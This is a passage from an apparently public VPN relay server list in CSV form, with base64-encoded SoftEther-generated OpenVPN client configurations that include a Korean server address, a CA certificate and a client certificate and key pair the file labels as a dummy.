zlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn522045270,211.228.47.8,695268,30,92286340,Korea Republic of,KR,7,95540195,9470,707088714194,2weeks,DESKTOP-7O0QCB6's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMTEuMjI4LjQ3LjggOTk1DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOH